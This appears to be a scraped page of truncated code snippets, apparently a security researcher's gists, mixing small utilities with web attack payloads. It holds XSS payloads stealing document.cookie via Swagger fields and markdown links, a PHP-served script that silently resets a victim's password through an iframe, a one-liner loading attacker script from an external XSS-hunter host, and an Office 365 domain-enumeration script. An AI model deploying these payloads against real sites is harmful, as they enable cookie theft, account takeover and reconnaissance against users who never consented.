This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env python3 | |
import pyperclip | |
import json | |
contents = pyperclip.paste().replace('[^\\]\\"', '\\\\"') | |
print(contents) | |
try: | |
c = json.loads(contents) | |
pyperclip.copy(json.dumps(c, indent=4)) | |
except Exception as e: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from httplib import HTTPConnection | |
import socket | |
import subprocess | |
class MyHTTPConnection(HTTPConnection): | |
def connect(self): | |
self.sock = s | |
if self._tunnel_host: | |
self._tunnel() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Usage checkms.sh | |
# domains.txt: file with domains on each line to check | |
# Output: domains that use O365 | |
# ----- | |
# Usage2 checkms.sh domain.com | |
# Output: domain if uses 0365, nothing if not | |
if [ "$#" -eq 1 ]; then | |
x=$(curl -s -k "https://login.microsoftonline.com/getuserrealm.srf?login=username@$1&xml=1" | egrep "Federated|Managed") | |
if [[ ! -z $x ]]; then |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[Click Me](javascript:alert`document.domain`) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"swagger": "2.0", | |
"info": { | |
"title": "Swagger Sample App", | |
"description": "Please to click Terms of service", | |
"termsOfService": "javascript:alert(document.cookie)" | |
}, | |
"contact":{ | |
"name": "API Support", | |
"url": "javascript:alert(document.cookie)", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header("Content-Type: application/javascript"); | |
?> | |
frame=document.createElement("iframe") | |
frame.addEventListener("load", function() { | |
setTimeout(function(){ | |
//Once the iframe loads, give it 1 second to load the DOM | |
frame.contentDocument.getElementById("NewPassword").value="1337H4x0rz!!!" | |
//Set new password | |
frame.contentDocument.getElementById("ConfirmNewPassword").value="1337H4x0rz!!!" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if [ "$#" -eq 0 ] || [ "$#" -gt 2 ] || [[ $* == *--help* ]] || [[ $* == *-h* ]]; then | |
echo "Usage ./getValidDNS.sh [output file] [optional: timeout (seconds)]" | |
exit 1 | |
fi | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
d=document;f=d.createElement("iframe");f.src=d.querySelector('link[href*=".css"]').href;d.body.append(f);s=d.createElement("script");s.src="https://rhy.xss.ht";setTimeout(function(){f.contentWindow.document.head.append(s);},1000) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
javascript:document.getElementById("video").defaultPlaybackRate = prompt("Enter your prefered playback rate:");document.getElementById("video").load(); |